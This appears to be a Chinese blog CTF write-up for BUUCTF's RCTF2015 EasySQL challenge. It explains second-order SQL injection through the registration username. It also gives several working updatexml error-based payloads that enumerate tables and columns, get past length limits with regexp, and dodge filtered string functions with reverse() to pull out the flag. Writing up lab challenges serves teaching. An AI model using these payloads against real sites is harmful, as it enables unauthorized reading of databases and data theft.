zoukankan      html  css  js  c++  java
  • BUUCTF-[RCTF2015]EasySQL wp

    知识点:二次注入

    进入页面发现有注册和登录的功能

     

     点击注册页面后先随便注册一个用户,登录后出现这个页面

     

    随便点了一个发现有参数,但是用sql注入无果,于是猜测在注册或者登录处进行sql注入。又发现Hi的后面会显示用户名,猜测是二次注入

     

    注册用户名:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#爆出表

    虽然有flag表,但是flag不在flag表里,所以用:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#爆出字段名,但是发现有长度限制

    使用regexp读取完整字段名

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

     

    使用:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#爆出flag,但是发现有长度限制

     

    由于substr()、left()、right()函数被过滤,所以使用reverse倒序输出

    Yhck"||(updatexml(1,concat(0x3a,(reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))),1))#,结合起来就是flag

     

     

     

     

     

     

     

     

  • 相关阅读:
    python 迭代器
    python 装饰器
    python 函数进阶
    python 函数
    python文件操作
    python 集合 深浅拷贝
    python基础之循环
    python基础之字典
    python基础之操作列表
    python基础之列表
  • 原文地址:https://www.cnblogs.com/Yhck/p/13654119.html
Copyright © 2011-2022 走看看